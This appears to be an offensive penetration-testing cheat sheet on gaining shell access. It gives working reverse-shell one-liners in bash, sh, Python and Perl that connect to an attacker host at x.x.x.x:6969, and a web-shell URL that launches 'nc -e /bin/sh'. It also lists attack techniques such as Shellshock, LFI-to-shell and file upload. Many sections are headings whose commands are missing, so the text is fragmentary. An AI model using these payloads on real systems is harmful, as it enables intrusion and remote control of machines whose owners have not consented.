Gaining access

Shell it?

Shells

Reverse shells

Bash

Bash and TCP sockets

bash -i >& /dev/tcp/x.x.x.x/6969 0>&1
/bin/bash -i > /dev/tcp/x.x.x.x/6969 0<&1 2>&1

sh and TCP sockets

/bin/sh -i > /dev/tcp/x.x.x.x/6969 0<&1 2>&1

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",6969));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="x.x.x.x";$p=6969;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:6969");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PHP

Ruby

Netcat

Telnet

Java

Shellshock reverse shell

Verify vuln within http user-agent header:

Spawn reverse shell:

PowerShell

Invoke-PowerShellTcp

Add to bottom:

Then fire up webserver at Kali, setup nc listener at port 6969 and download at target:

C

Bind shells

C

Web shells

PHP

Add to WordPress Theme 404 page and then http://x.x.x.x/404.php?cmd=id

Or spawn reverse shell http://x.x.x.x/404.php?cmd=nc x.x.x.x 6969 -e /bin/sh

phpMyAdmin

Run SQL query

From LFI to reverse shell

First verify LFI. Example with nullbyte:

Using Hackbar (Firefox extension).

POST request URL:

POST data:

POST data for reverse shell at port 443:

HTTP methods

Try if you can upload a shell via an upload form.

HTTP POST

Where "x.x.x.x" is the target IP

HTTP PUT

Where "x.x.x.x" is the attacker's IP

Inject PHP -> JPEG

Local

C for SUID

Spawns a Linux shell:

File transfers

First fire up our fileserver:

Python webserver (default port 8000)

Python webserver at port 8001

Python webserver with upload form

Windows

PowerShell

Any version

Download via RCE

FTP

Option 1

Configure FTP at Kali:

Start FTP server at Kali:

Download nc.exe at target:

Option 2

Configure FTP at Kali:

Start FTP server at Kali:

Download files (in this example at a Windows target):

Launch reverse shell

Share local folder with RDP

VBScript

Below a VBScript / Linux wget alternative

Then execute the above script:

Linux

Wget

Netcat

From attacher -> target

At target

At attacker (method 1)

At attacker (method 2)

Python

Last updated